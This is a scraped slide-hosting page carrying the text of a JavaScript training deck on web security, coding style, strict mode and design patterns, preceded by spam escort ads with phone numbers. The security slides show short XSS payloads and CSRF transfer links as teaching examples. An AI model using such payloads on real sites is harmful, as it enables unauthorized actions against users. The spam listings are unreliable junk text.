VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Bookingdharasingh5698
 
Unit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfUnit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfRagavanV2
 
Thermal Engineering Unit - I & II . ppt
Thermal Engineering  Unit - I & II . pptThermal Engineering  Unit - I & II . ppt
Thermal Engineering Unit - I & II . pptDineshKumar4165
 

Recently uploaded (20)

(INDIRA) Call Girl Aurangabad Call Now 8617697112 Aurangabad Escorts 24x7
(INDIRA) Call Girl Aurangabad Call Now 8617697112 Aurangabad Escorts 24x7(INDIRA) Call Girl Aurangabad Call Now 8617697112 Aurangabad Escorts 24x7
(INDIRA) Call Girl Aurangabad Call Now 8617697112 Aurangabad Escorts 24x7
 
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordCCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
 
KubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlyKubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghly
 
data_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfdata_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdf
 
Call Girls Wakad Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Wakad Call Me 7737669865 Budget Friendly No Advance BookingCall Girls Wakad Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Wakad Call Me 7737669865 Budget Friendly No Advance Booking
 
Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01
 
Unleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapUnleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leap
 
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...
 
Vivazz, Mieres Social Housing Design Spain
Vivazz, Mieres Social Housing Design SpainVivazz, Mieres Social Housing Design Spain
Vivazz, Mieres Social Housing Design Spain
 
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance BookingCall Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
 
Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...
 
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Ramesh Nagar Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
 
Thermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VThermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - V
 
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
 
Double Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torqueDouble Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torque
 
chapter 5.pptx: drainage and irrigation engineering
chapter 5.pptx: drainage and irrigation engineeringchapter 5.pptx: drainage and irrigation engineering
chapter 5.pptx: drainage and irrigation engineering
 
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night StandCall Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
 
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
 
Unit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfUnit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdf
 
Thermal Engineering Unit - I & II . ppt
Thermal Engineering  Unit - I & II . pptThermal Engineering  Unit - I & II . ppt
Thermal Engineering Unit - I & II . ppt
 

Practical JavaScript Programming - Session 7/8

  • 3. 3 Wilson Su Front-end Developer, HIE ● 6 years in web design ● Specialize in JavaScript / CSS / HTML / OOP / Git ● Familiar with PHP / Design Pattern ● Interested in UI & Ix Design wilson_su@trend.com.tw
  • 4. Outline 4 Practical JavaScript Programming Chapter 14. ● Restricted Features ● Vulnerabilities Security Chapter 15. Best Practice ● Coding Style ● Strict Mode ● Timing Events Chapter 16. Design Patterns ● Singleton Pattern ● Factory Pattern ● Dependency Injection ● Module Pattern ● Facade Pattern ● Proxy Pattern ● Observer Pattern
  • 7. JavaScript Restricted Features 7 Security Submit a form The History object The FileUpload object Window size and position Modify event properties Mixed content Close a window Same-origin policy
  • 9. What JavaScript Can Do Globally ● Scripts can override native prototype and methods ● Different scripts can mess with each other's variables ● Different scripts can redefine each other's functions ● Transmit data anywhere ● Watch keystrokes ● All scripts run with equal authority 9 Vulnerabilities
  • 10. 10 Client Side Web Security Attacks Vulnerabilities ● Cross-Site Scripting / XSS ● Cross-Site Request Forgery / CSRF ● JSON Hijacking ● Clickjacking ● Likejacking / Social Jacking JS
  • 12. XSS Attack Examples 12 1. <form action="document.write('evil')"> 2. <button typen="submit">Save</button> 3. </form> 4. <input onfocus="document.write('evil')" autofocus/> 5. <img src="x" onerror="document.write('evil')"/>
  • 13. Cross-Site Request Forgery 13 Vulnerabilities Bank Let’s Play a Game http://smart.bank.com http://unsafe.games.com Popular Games Play Play Play Hi, Neo Account Balance Transfer 10,000 http://smart.bank.com/transfer?to=12345678&amount=10000
  • 14. CSRF / Cross Site Request Forgery 14 1. <a href="https://bank.com/transfer?to=123&amount=100">Play</a> 2. <img src="https://bank.com/transfer?to=123&amount=100"/> 3. <iframe src="https://bank.com/transfer?to=123&amount=100"> 4. </iframe>
  • 15. JSON Hijacking 15 Vulnerabilities Bank Let’s Play a Game http://smart.bank.com http://unsafe.games.com Hi, Neo <script> Object.prototype.__defineSetter __(…); </script> <script src="https://smart.bank.com/dat a/account"></script> Nice see you again.
  • 16. Clickjacking 16 Vulnerabilities FB Like Blog Fake Like ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– ––––––––––––––––––––––––––––– –––––––––––––––––––––––––––––
  • 19. Avoid Polluting the Global Scope 19 1. var title = 'JS'; 2. var add = function () {}; 3. function echo () {}; 4. console.log(window.hasOwnProperty('title')); // true 5. console.log(window.hasOwnProperty('add')); // true 6. console.log(window.hasOwnProperty('echo')); // true
  • 20. Reducing Globals 20 1. /* Use a nmaespace */ 2. var util = { 3. version: '1.2.0', 4. unique: function () {}, 5. extend: function () {} 6. };
  • 22. Automatic Semicolon Insertion - Example 1 22 1. function fn () { 2. var string = 'xyz' 3. var number = 999 4. return { value: 1 } 5. } 6. /* The code got transformed as follows */ 7. function fn () { 8. var string = 'xyz'; 9. var number = 999; 10. return { value: 1 }; 11. }
  • 23. Automatic Semicolon Insertion - Example 2 23 1. var fn = function () { 2. return { 3. value: 2 4. } 5. } 6. /* The code got transformed as follows */ 7. var fn = function () { 8. return { 9. value: 2 10. }; 11. };
  • 24. Automatic Semicolon Insertion - Example 3 24 1. function fn () { 2. var string = 'xyz' 3. number = 999 4. return 5. { value: 3 } 6. } 7. /* The code got transformed as follows */ 8. function fn () { 9. var string = 'xyz'; 10. number = 999; 11. return; 12. { value: 3 }; 13. }
  • 25. Automatic Semicolon Insertion - Example 4 25 1. var echo = value => value; 2. var list, id, data = { id: 1 }; 3. echo('Hi') 4. (list || []).forEach(v => console.log(v)) 5. id = data.id 6. [1, 2, 3].map(v => v * 2) 7. 8. /* The code from line 3 to 6 got transformed into 2 lines */ 9. echo('Hi')(list || []).forEach(v => console.log(v)); 10. // TypeError 11. id = data.id[1, 2, 3].map(v => v * 2); 12. // TypeError
  • 26. Automatic Semicolon Insertion - Example 5 26 1. (() => console.log('Hi!'))() 2. (() => console.log('Yo!'))() 3. 4. /* Lines got merged */ 5. (() => console.log('Hi!'))()(() => console.log('Yo!'))(); 6. 7. /* Add a semicolon before an IIFE; therefore, it will prevent code from being merged into one line. */ 8. Math.random() 9. ;(function () {})();
  • 27. Conditional Evaluation 27 1. if (array.length > 0) {} 2. if (array.length) {} 3. 4. if (array.length === 0) {} 5. if (!array.length) {} 6. 7. if (string !== '') {} 8. if (string) {} 9. 10. if (string === '') {} 11. if (!string) {}
  • 28. Avoid Using switch 28 1. var action = 'triple', value = 10; 2. switch (action) { 3. case: 'double': 4. value = value * 2; 5. break; 6. case: 'triple': 7. value = value * 3; 8. break; 9. default: 10. value = value; 11. }
  • 29. Replacing switch Statements With Object Literals 29 1. var cases = { 2. double: function (value) { return value * 2; }, 3. triple: function (value) { return value * 3; }, 4. normal: function (value) { return value; } 5. }; 6. var action = 'triple', value = 10; 7. var fn = action in cases ? cases[action] : cases.normal; 8. fn(value); // 30
  • 31. Strict Mode for Scripts 31 1. 'use strict'; 2. var text = 'A strict mode script';
  • 32. Strict Mode for Functions 32 1. function strict () { 2. // Function-level strict mode 3. 'use strict'; 4. } 5. 6. function nonstrict () {}
  • 33. Strict Mode for Anonymous Functions 33 1. (function strict () { 2. // Function-level strict mode 3. 'use strict'; 4. })();
  • 34. The strict-mode directive is only recognized at the beginning of a script or a function. 34
  • 35. The Strict-mode Not Allowed in Function With Non-simple Parameters 35 1. function fn1 (a = 1, b = 2) { 'use strict'; } // SyntaxError 2. function fn2 ([a, b]) { 'use strict'; } // SyntaxError 3. function fn3 (...args) { 'use strict'; } // SyntaxError 4. 5. /* Workaround */ 6. (function () { 7. 'use strict'; 8. function fn1 (a = 1, b = 2) {} 9. function fn2 ([a, b]) {} 10. function fn3 (...args) {} 11. })();
  • 36. Impossible to Accidentally Create Global Variables 36 1. (function nonstrict () { 2. id = 'Global'; 3. })(); 4. console.log(window.id); // 'Global' 1. (function strict () { 2. 'use strict'; 3. /* An error is thrown only if the variable not exists 4. in window object */ 5. id = 'Global'; // ReferenceError 6. })();
  • 37. Strict Mode Function 37 1. (function nonstrict () { 2. return this; 3. })(); 4. // Window { … } 5. 6. (function strict () { 7. 'use strict'; 8. return this; 9. })(); 10. // undefined
  • 38. Unique Function Parameters 38 1. (function nonstrict (arguments) { 2. return arguments; 3. })(10); 4. // 10 5. 6. function strict (arguments) { 7. 'use strict'; 8. } 9. // SyntaxError
  • 39. Duplicate Parameter Name 39 1. function nonstrict (name, name) { 2. return name; 3. } 4. nonstrict('Ben'); // undefined 5. nonstrict('Ben', 'Lisa'); // 'Lisa' 6. 7. function strict (name, name) { 8. 'use strict'; 9. } 10. // SyntaxError
  • 40. Forbid Setting Properties on Primitive Values 40 1. (function nonstrict () { 2. false.type = 'Bool'; 3. (14).text = 'Fourteen'; 4. 'Ten'.value = 10; 5. })(); 6. 7. (function strict () { 8. 'use strict'; 9. false.type = 'Bool'; // TypeError 10. (14).text = 'Fourteen'; // TypeError 11. 'Ten'.value = 10; // TypeError 12. })();
  • 41. Delete of an Unqualified Identifier 41 1. (function nonstrict () { 2. var index; 3. console.log(delete index); // false 4. })(); 5. 6. function strict () { 7. 'use strict'; 8. var index; 9. console.log(delete index); 10. } 11. // SyntaxError
  • 42. Not Allow to Use with 42 1. (function nonstrict () { 2. var dog = { age: 5 }; 3. with (dog) { age = 3; } 4. console.log(dog); // {age: 3} 5. })(); 6. 7. function strict () { 8. 'use strict'; 9. var dog = { age: 5 }; 10. with (dog) { age = 3; } 11. } 12. // SyntaxError
  • 43. The eval() Is Not Allowed to Create Variables in Strict-mode 43 1. (function nonstrict () { 2. eval('var number = 30'); 3. console.log(number); // 30 4. })(); 5. 6. (function strict () { 7. 'use strict'; 8. var bool = eval('var bool = true; bool'); 9. eval('var number = 30'); 10. console.log(bool); // true 11. console.log(number); // ReferenceError 12. })();
  • 46. A Basic Timing Event 46 1. var timer = setTimeout(function () { 2. console.log('Executed'); 3. }, 10 * 1000); 4. /* The clearTimeout() method cancels a timer previously established by calling setTimeout() */ 5. clearTimeout(timer);
  • 47. A Customable Timing Event Function Using setTimeout 47 1. /* Assume time() is a function to get current time. */ 2. function timer (fn, delay = 1000, times = 3) { 3. setTimeout(function () { 4. console.log(time()); 5. fn(); 6. --times && timer(fn, delay, times); 7. }, delay); 8. }; 9. timer(function () { 10. /* Something that blocks for 1 minutes */ 11. }); 12. // '12:00:01' '12:01:02' '12:02:03'
  • 48. A Repeatedly Timing Event 48 1. var timer = setInterval(function () { 2. console.log('Executed'); 3. }, 10 * 1000); 4. /* The clearInterval() method cancels a timer previously established by calling setInterval() */ 5. clearInterval(timer);
  • 49. Stacking Calls With setInterval 49 1. setInterval(function () { 2. /* Something that blocks for 1 minutes */ 3. }, 1000); 4. /* When code that is being executed blocks the timeout call, setInterval will still issue more calls to the specified function. */
  • 53. Singleton Pattern 53 Design Patterns Static public method Private constructor A static member A class of which only a single instance can exist. Ensure a class only has one instance, and provide a global point of access to it.
  • 54. An Example Using the Singleton Pattern 54 1. function Router (options) { 2. if (Router.instance) { return Router.instance; } 3. this.options = options; 4. } 5. Router.instance = null; 6. Router.create = function (options) { 7. if (Router.instance) { return Router.instance; } 8. return Router.instance = new Router(options); 9. } 10. var options = {}, router = Router.create(options); 11. console.log(router === Router.instance); // true 12. console.log(router === new Router(options)); // true
  • 56. Factory Pattern 56 Design Patterns Line Bar Pie ChartFactory Define an interface for creating an object, but let subclasses decide which class to instantiate. Factory Method lets a class defer instantiation to subclasses.
  • 57. An Example Using the Factory Pattern 57 1. /* Assume class Line, Bar, and Pie are defined */ 2. var types = { line: Line, bar: Bar, pie: Pie }; 3. class ChartFactory { 4. static create (options) { 5. var type = options.type; 6. if (!type) { throw Error('Chart type is undefined.'); } 7. var Type = type in types ? types[type] : null; 8. if (!type) { throw Error('Unknown chart type.'); } 9. return new Type(options); 10. } 11. } 12. ChartFactory.create({ type: 'line', data: [50, 80, 60] }); 13. ChartFactory.create({ type: 'pie', data: [10, 20, 70] });
  • 59. Dependency Injection 59 Design Patterns Dependency injection is a technique whereby one object supplies the dependencies of another object. It is one specific implementation of the inversion of control technique. App A B C D depends
  • 60. Examples Using the Dependency Injection 60 1. /* Example 1 */ 2. function Router () {} 3. function Storage () {} 4. function App () {} 5. new App(new Router(), new Storage()); 6. 7. /* Example 2 - Dynamically loads dependencies */ 8. function Combobox (input, dropdown) {} 9. var injector = { resolve: function (deps, fn) {} }; 10. var dependencies = ['Input', 'Dropdown']; 11. injector.resolve(dependencies, (input, dropdown) => { 12. var combobox = new Combobox(input, dropdown); 13. });
  • 62. Module Pattern 62 Design Patterns The Module pattern is used to emulate the concept of classes in such a way that we're able to include both public/private methods and variables inside a single object, thus shielding particular parts from the global scope. Router Menu ChartjQuery
  • 63. An Example Using the Module Pattern 63 1. /* Global module */ 2. var collection = (function () { 3. 'use strict'; 4. var module = {}; 5. var items = []; // Private 6. var sort = function () {}; // Private 7. module.name = 'collection'; // Public 8. module.push = function (data) {}; // Public 9. return module; 10. })();
  • 64. An Example Using the Revealing Module Pattern 64 1. /* Global module */ 2. var collection = (function () { 3. 'use strict'; 4. var name = 'collection'; 5. var items = []; 6. function sort () {}; 7. function push (data) {}; 8. return { name, push }; 9. })();
  • 65. AMD / Asynchronous Module Definition 65 1. /* collection.js */ 2. define(['./libs/jquery'], function ($) { 3. 'use strict'; 4. var name = 'collection'; 5. var items = []; 6. function sort () {}; 7. function push (data) {}; 8. return { name, push }; 9. });
  • 66. CommonJS 66 1. 'use strict'; 2. var $ = require('jquery'); 3. var name = 'collection'; 4. var items = []; 5. function sort () {}; 6. function push (data) {}; 7. module.exports = { name, push };
  • 67. UMD / Universal Module Definition 67 1. (function (root, factory) { 2. if (typeof define === 'function' && define.amd) { 3. define(['jquery'], factory); 4. } else if (typeof exports === 'object') { 5. module.exports = factory(require('jquery')); 6. } else { 7. root.collection = factory(root.jQuery); 8. } 9. })(this, function ($) { 10. 'use strict'; 11. var name = 'collection', items = []; 12. var sort = () => {}, push = (data) => {}; 13. return { name, push }; 14. });
  • 69. Facade Pattern 69 Design Patterns A single class that represents an entire subsystem. Provide a unified interface to a set of interfaces in a system. Facade defines a higher-level interface that makes the subsystem easier to use. Facade Internal A Internal B Internal C
  • 70. An Example Using the Facade Pattern 70 1. function bind (elem, event, listener) { 2. if (elem.addEventListener) { 3. elem.addEventListener(event, listener, false); 4. } else if (elem.attachEvent) { 5. elem.attachEvent('on' + event, listener); 6. } else { 7. elem['on' + event] = listener; 8. } 9. } 10. var button = document.getElementById('save'); 11. bind(button, 'click', function () {}); 12. bind(button, 'dblclick', function () {});
  • 72. Proxy Pattern 72 Design Patterns Proxy Real ObjectClient An object representing another object. Provide a surrogate or placeholder for another object to control access to it.
  • 73. An Example Using the Proxy Pattern 73 1. class ElementProxy { 2. constructor (selector) { 3. this.selector = selector; 4. this.elem = document.querySelector(selector); 5. } 6. on (event, listener, capture) { 7. this.elem.addEventListener(event, listener, capture); 8. return this; 9. } 10. attr (attr, value) {} 11. } 12. var button = new ElementProxy('button#submit'); 13. button.attr('disabled', false).on('click', () => {});
  • 75. Observer Pattern 75 Design Patterns Subject Observer Observer Observer notify notify notifysubject changed Define a one-to-many dependency between objects so that when one object changes state, all its dependents are notified and updated automatically.
  • 76. An Example Using the Observer Pattern 76 1. class Subject { 2. attach (observer) { this.set.add(observer); } 3. detach (observer) { this.set.delete(observer); } 4. notify () { this.observers.forEach(o => o.update()); } 5. setState(state) { this.state = state; } 6. } 7. class Observer { 8. update () {} 9. } 10. var subject = new Subject(), observer = new Observer(subject); 11. subject.attach(observer); 12. subject.setState('changed'); 13. subject.notify();
  • 77. An Example Using the Publish/Subscribe Pattern 77 1. class EventEmitter { 2. on(event, listener) {} 3. off(event, listener) {} 4. once(event, listener) {} 5. emit(event, listener) {} 6. } 7. var emitter = new EventEmitter(); 8. emitter.on('done', (data) => console.log('Done.')); 9. emitter.on('error', (error) => console.log('Error!')); 10. fetch('/api/users').then((response) => { 11. emitter.emit('done', response.json()); 12. }) 13. .catch(error => emitter.emit('error', error));
  • 78. Reference 78 ● Clickjacking - Wikipedia ● Cross-Site Scripting (XSS) Cheat Sheet | Veracode ● Cross-Site Scripting – Application Security – Google ● Dependency injection - Wikipedia ● Guide to CSRF (Cross-Site Request Forgery) | Veracode ● HTML5 Security Cheatsheet ● JavaScript Security ● JSON Hijacking | You've Been Hacked Practical JavaScript Programming
  • 79. Reference 79 ● Mixed content - Web security | MDN ● Principles of Writing Consistent, Idiomatic JavaScript ● Security Guide for Developers ● Social jacking - Wikipedia ● Strict mode restriction - JavaScript | MDN ● Strict mode - JavaScript | MDN ● The 23 Gang of Four Design Patterns ● Understanding Automatic Semicolon Insertion in JavaScript Practical JavaScript Programming
  • 80. Reference Books ● Effective JavaScript ● JavaScript: The Good Parts ● JavaScript: The Definitive Guide, 4th Edition ● Learning JavaScript Design Patterns 80 Practical JavaScript Programming